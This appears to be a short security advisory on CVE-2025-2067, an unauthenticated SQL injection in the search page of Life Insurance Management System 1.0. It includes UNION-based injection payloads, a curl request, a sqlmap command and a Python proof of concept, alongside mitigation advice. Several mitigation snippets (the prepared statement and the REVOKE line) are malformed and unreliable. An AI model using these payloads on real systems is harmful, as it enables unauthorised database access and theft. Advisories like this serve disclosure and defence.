Life Insurance Management System, SQL Injection, CVE-2025-2067 (Critical)

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How CVE-2025-2067 Works

The vulnerability exists in the `/search.php` file of Life Insurance Management System 1.0, where the `key` parameter is improperly sanitized before being used in SQL queries. Attackers can inject malicious SQL payloads through this parameter, leading to unauthorized database access, data exfiltration, or manipulation. Due to lack of input validation and prepared statements, the system executes arbitrary SQL commands when crafted requests are sent. The flaw is remotely exploitable without authentication, making it critical.

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Platform: Life Insurance Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025

What Undercode Say:

Exploitation:

curl -X GET "http://target.com/search.php?key=' UNION SELECT 1,2,3,user(),5-- -"
' OR 1=1--

Detection:

sqlmap -u "http://target.com/search.php?key=test" --risk=3 --level=5

Mitigation:

1. Patch `/search.php` with prepared statements:

$stmt = $conn->prepare("SELECT FROM policies WHERE key = ?");
$stmt->bind_param("s", $_GET['key']);

2. Apply WAF rules to filter SQL meta-characters.

3. Disable error reporting in production.

Log Analysis:

grep -i "sql syntax" /var/log/apache2/access.log

Backend Hardening:

REVOKE ALL PRIVILEGES ON . FROM 'app_user'@'%';

Exploit PoC:

import requests
payload = "' UNION SELECT @@version, NULL, NULL--"
response = requests.get(f"http://victim.com/search.php?key={payload}")
print(response.text)

Protection Checklist:

  • Input validation using regex.
  • Least privilege DB access.
  • Regular dependency updates.
  • Network segmentation.

References:

  • CPE: cpe:2.3:a:projectworlds:life_insurance_management_system:1.0
  • CVSS:4.0 Vector: AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

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